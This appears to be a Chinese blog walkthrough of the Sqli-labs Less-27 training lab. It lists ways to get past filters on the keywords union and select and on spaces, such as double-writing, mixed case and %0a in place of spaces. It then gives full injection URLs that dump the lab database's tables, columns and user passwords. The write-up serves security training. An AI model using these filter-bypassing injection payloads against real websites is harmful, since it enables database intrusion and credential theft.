当前位置: 首页 > news >正文

Sqli-labs less-27

Sqli-labs less-27

过滤union\select绕过方式

### 1. 逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)=‘admin’### 2.十六进制字符绕过
select ——> selec\x74
union——>unio\x6e### 3.大小写绕过
SelEct### 4.双写绕过
selselectect
uniunionon
### 5.urlencode,ascii(char),hex,unicode编码绕过### 6.关键字内联绕所有
/!union/
/!select/

靶场less-27

闭合方式

构造

http://192.168.140.131:8888/Less-27/?id=1’
根据报错确定闭合方式为',单引号

根据题目提示确定绕过的字符

http://192.168.140.131:8888/Less-27/?id=1’ #
注释符过滤,使用下面语句绕过注释符

http://192.168.140.131:8888/Less-27/?id=1’ or ‘1’='1
空格绕过,使用下面语句绕过空格过滤

http://192.168.140.131:8888/Less-27/?id=1’ %0aor%0a ‘1’='1
我是用的靶场为Linux环境,不同的环境可能空格绕过方式不通

列数及注入点

http://192.168.140.131:8888/Less-27/?id=1’%0aunion%0aselect%0a1,2,3 %0aor%0a ‘1’='1
发现union和select被过滤,尝试前面提到的绕过方式

http://192.168.140.131:8888/Less-27/?id=1’%0auniounionn%0asEleselectct%0a1,2,3 %0aor%0a ‘1’='1
经过尝试我双写union并同时双写加大写select可以对union和select绕过,方式众多,可以多加尝试

在这里插入图片描述

爆数据

数据库名

http://192.168.140.131:8888/Less-27/?id=0’%0auniounionn%0asEleselectct%0a1,(select (database())),3 %0aor%0a ‘1’='1
注意绕过,多是多使用()绕过空格

表名

http://192.168.140.131:8888/Less-27/?id=0’%0auniounionn%0asEleselectct%0a1,(sElect (group_concat(table_name))from(information_schema.tables)where(table_schema=database())),3 %0aor%0a ‘1’='1

列名

http://192.168.140.131:8888/Less-27/?id=0’%0auniounionn%0asEleselectct%0a1,(sElect (group_concat(column_name))from(information_schema.columns)where(table_schema=database()%26%26table_name=‘users’)),3 %0aor%0a ‘1’='1

数据

http://192.168.140.131:8888/Less-27/?id=0’%0auniounionn%0asEleselectct%0a1,(sElect (group_concat(username,‘~’,password))from(security.users)),3 %0aor%0a ‘1’='1

OVER


http://www.mrgr.cn/news/54189.html

相关文章:

  • 音频分割:长语音音频 分割为 短语音音频 - python 实现
  • 什么是 SQL 注入攻击?如何防止 SQL 注入?
  • STM32中的RAM和ROM分别是什么
  • Vue 3集成海康Web插件实现视频监控
  • 商品详情API接口调用流程
  • 优化分页查询
  • 【linux】进程创建与进程终止
  • 【AI论文精读6】SELF-RAG(23.10)附录
  • 【C++篇】类与对象的秘密(上)
  • 充电桩高压快充发展趋势
  • Yocto - 使用Yocto开发嵌入式Linux系统_10 使用Yocto项目进行开发
  • SVM支持向量机python实现
  • KUKA外部自动配置(下)
  • 【动手学深度学习】8.3 语言模型(个人向笔记)
  • 计算机通信与网络实验笔记
  • FL Studio 2024 发布,添加 FL Cloud 插件、AI 等功能
  • NVIDIA NIM平台利用AI的功能,AI驱动知识问答助手的实现
  • 风速weibull分布随机风速生成【基础代码】
  • 【动手学深度学习】8.2. 文本预处理(个人向笔记)
  • 2024年-2025年Java毕业设计怎样选题?1000个计算机毕业热门选题推荐
  • llm-action,让天下没有难学的大模型
  • 同一个交换机不同vlan的设备为什么不能通信
  • 如何用代码将网页打开
  • 2024年第四届“网鼎杯”网络安全大赛-赛前模拟训练
  • 空开老化损坏更换
  • MatLab Desired port was :31515解决方案